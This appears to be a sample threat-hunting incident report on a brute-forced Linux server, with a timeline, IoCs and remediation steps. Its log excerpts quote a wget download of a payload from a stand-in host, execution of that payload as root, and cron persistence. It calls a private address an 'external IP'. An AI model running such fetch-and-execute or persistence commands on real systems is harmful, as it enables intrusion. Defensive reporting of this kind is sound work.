

CONFIDENTIAL // INTERNAL USE ONLY

Executive Threat Hunting Investigation Report

Date of Investigation: June 23, 2026

Prepared By: Senior Threat Hunter

Target Environment: Production Linux
Infrastructure

Reference ID: INC-2026-06-23-001

1. Executive Summary

During a proactive threat hunting operation aligned with the **MITRE ATT&CK Framework**, our Security Operations Center (SOC) identified a successful breach of a critical Linux server infrastructure. The threat actor, operating from the external IP **192.168.1.100**, successfully bypassed perimeter defenses, executed a brute-force attack to compromise valid credentials, escalated privileges, and established persistent Command and Control (C2) mechanisms.

This report details the complete attack lifecycle, technical evidence collected, and strategic remediation steps required to secure the enterprise environment against this advanced persistent threat (APT) behavior.

2. Scope and Objectives

- Objective:** To conduct a proactive, intelligence-driven threat hunt utilizing system logs to detect anomalous behaviors, undocumented persistence mechanisms, and unauthorized lateral movement.
- Scope:** Syslog, authentication logs (auth.log), firewall logs (iptables), and process execution telemetry.

3. Incident Timeline & Technical Analysis

The attacker executed a highly coordinated attack sequence spanning approximately three minutes.

Timestamp (UTC)	Phase	Technical Description	Evidence/Log Snippet
10:23:45 - 10:23:51	Initial Access Attempt	The adversary initiated an automated SSH brute-force attack targeting the <code>root</code> account.	<code>sshd[4010]: Failed password for root...</code>
10:24:12	Initial Access Success	The adversary successfully authenticated using compromised credentials for the <code>admin</code> account.	<code>sshd[4030]: Accepted password for admin...</code>
10:25:01	Privilege Escalation & Tool Transfer	Operating as <code>admin</code> , the attacker utilized <code>sudo</code> to download a malicious payload (<code>payload.sh</code>) via <code>wget</code> .	<code>COMMAND=/usr/bin/wget http://malicious-server.xyz/payload.sh</code>
10:25:15	Execution	The downloaded payload was executed with elevated (<code>root</code>) privileges using the bash interpreter.	<code>COMMAND=/bin/bash /tmp/payload.sh</code>

Timestamp (UTC)	Phase	Technical Description	Evidence/Log Snippet
10:25:30	Command and Control (C2)	A reverse shell connection was attempted to the attacker's infrastructure over TCP port 4444. Dropped by iptables.	<code>kernel: iptables: DROP... DPT=4444</code>
10:26:00	Persistence	The attacker modified the system crontab to execute the malicious payload periodically.	<code>crond[4105]: (root) CMD (/tmp/payload.sh...)</code>

4. Threat Intelligence & Indicators of Compromise (IoCs)

To facilitate immediate containment across the enterprise, the following IoCs have been extracted:

- **IPv4 Addresses:** `192.168.1.100` (Attacker IP), `10.0.0.5` (Targeted Asset)
- **Domains/URLs:** `http://malicious-server.xyz` (Payload Delivery Network)
- **File Artifacts:** `/tmp/payload.sh` (Malicious Bash Script)
- **Behavioral Anomalies:** `wget` execution originating from an interactive SSH session.

5. Risk Assessment & Business Impact

Severity Rating: **CRITICAL**

Impact: The attacker successfully achieved `root` level privileges. While the immediate C2 connection was intercepted by firewall rules, the established persistence mechanism via `crontab` means the system remains compromised.

Immediate remediation is required to prevent data exfiltration or ransomware deployment.

6. Strategic & Tactical Remediation

Phase 1: Immediate Containment (0-24 Hours)

1. **Network Isolation:** Immediately isolate the compromised server (`10.0.0.5`) from the corporate network.
2. **Account Revocation:** Terminate all active SSH sessions and reset passwords for the `admin` and `root` accounts.
3. **IoC Blocking:** Blacklist `192.168.1.100` and `malicious-server.xyz` at the perimeter firewalls.

Phase 2: Eradication & Recovery (24-72 Hours)

1. **Artifact Removal:** Remove the malicious payload (`/tmp/payload.sh`) and delete the unauthorized cron job entries.
2. **Forensic Image:** Capture a memory and disk image for deeper forensic analysis.
3. **System Rebuild:** Due to the root-level compromise, the server must be rebuilt from a known good baseline image.

Phase 3: Strategic Hardening (Long-Term)

1. **Implement Multi-Factor Authentication (MFA):** Mandate MFA for all SSH access to neutralize credential compromise.
2. **Disable Root SSH Login:** Modify `/etc/ssh/sshd_config` to set `PermitRootLogin no`.
3. **Deploy EDR:** Roll out Endpoint Detection and Response agents to all critical infrastructure.

